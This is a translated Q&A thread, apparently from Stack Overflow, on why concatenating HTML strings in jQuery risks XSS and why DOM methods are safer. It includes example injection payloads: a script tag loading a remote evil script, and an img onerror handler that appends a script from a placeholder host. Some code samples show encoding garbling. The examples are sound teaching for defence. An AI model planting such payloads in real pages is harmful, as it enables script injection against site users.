托管我们网站的公司在部署之前会审查我们的代码 - 他们最近告诉我们:
HTML 字符串不应该被直接操作,因为这会给我们带来潜在的 XSS 漏洞。相反,始终使用 DOM api 来创建元素...可以是 jQuery 或直接 DOM api。
例如,而不是
this.html.push( '<a class="quiz-au" data-src="' + this.au + '"><span class="quiz-au-icon"></span>Click to play</a>' );
他们告诉我们要做什么
var quizAuLink = $( 'a' );
quizAuLink.addClass( 'quiz-au' );
quizAuLink.data( 'src', this.au );
quizAu.text( 'Click to play' );
quizAu.prepend( '<span class="quiz-au-icon"></span>' );
这是真的吗?谁能给我们一个可以像第一个一样利用 HTML 字符串的 XSS 攻击的示例吗?
如果
this.au
以某种方式修改,它可能包含这样的内容:
"><script src="http://example.com/evilScript.js"></script><span class="
这会弄乱你的 HTML 并注入脚本:
<a class="quiz-au" data-src="">
<script src="http://example.com/evilScript.js"></script>
<span class=""><span class="quiz-au-icon"></span>
Click to play
</a>
如果您使用 DOM 操作来设置
src
属性,则脚本(或您使用的任何其他 XSS)将不会被执行,因为它将被 DOM API 正确转义。
回应一些评论者说如果有人可以修改
this.au
,他们肯定可以自己运行脚本:我不知道this.au
来自哪里,也不是特别相关。它可能是数据库中的值,并且数据库可能已被泄露。它也可能是恶意用户试图给其他用户搞砸事情。甚至可能是一个无辜的非技术人员没有意识到写作"def" > "abc"
会毁掉东西。
还有一件事。在您提供的代码中,
var quizAuLink = $( 'a' );
不会创建新的<a>
元素。它只会选择所有现有的。您需要使用 var quizAuLink = $( '<a>' );
创建一个新的。
这应该同样安全,而不会对可读性造成太大影响:
var link = $('<a class="quiz-au"><span class="quiz-au-icon"></span>Click to play</a>');
link.data("src", this.au);
重点是避免通过字符串操作来构建 HTML 字符串。请注意,在上面,我仅使用
$()
来解析常量字符串,该字符串解析为众所周知的结果。在此示例中,只有 this.au
部分是危险的,因为它可能包含动态计算的值。
由于您无法使用
.innerHTML
在现代浏览器中注入脚本标签,因此您需要监听一个事件:
如果
this.au
以某种方式修改,它可能包含这样的内容:
"><img src="broken-path.png" onerror="alert('my injection');"><span class="
这会弄乱你的 HTML 并注入脚本:
<a class="quiz-au" data-src=""><img src="broken-path.png" onload="alert('my injection')"><span class=""><span class="quiz-au-icon"></span>Click to play</a>
为了运行更大的 JavaScript 块,请将 onerror 设置为:
var d = document; s = d.createElement('script'); s.type='text/javascript'; s.src = 'www.my-evil-path.com'; d.body.appendChild(s);
感谢 Scimoster 提供的样板
抛开安全性不谈,当你用 JavaScript 构建 HTML 时,你必须确保它是有效的。虽然可以通过字符串操作*来构建和清理 HTML,但 DOM 操作要方便得多。不过,您必须确切地知道字符串的哪一部分是 HTML,哪一部分是文字文本。
考虑以下示例,其中我们有两个硬编码变量:
var href = "/detail?tag=hr©%5B%5D=1",
text = "The HTML <hr> tag";
以下代码简单地构建了 HTML 字符串:
var div = document.createElement("div");
div.innerHTML = '<a href="' + href + '">' + text + '</a>';
console.log(div.innerHTML);
// <a href="/detail?tag=hr©%5B%5D=1">The HTML <hr> tag</a>
这使用了 jQuery,但它仍然不正确(它在应该是文本的
变量上使用
.html()
):
var div = document.createElement("div");
$("<a></a>").attr("href", href).html(text).appendTo(div);
console.log(div.innerHTML);
// <a href="/detail?tag=hr&copy%5B%5D=1">The HTML <hr> tag</a>
这是正确的,因为
它按预期显示文本:
var div = document.createElement("div");
$("<a></a>").attr("href", href).text(text).appendTo(div);
console.log(div.innerHTML);
// <a href="/detail?tag=hr&copy%5B%5D=1">The HTML <hr> tag</a>
结论:使用 DOM 操作/jQuery 不能保证任何安全性,但它确实是朝着正确方向迈出的一步。
此问题的示例。讨论了字符串和 DOM 操作。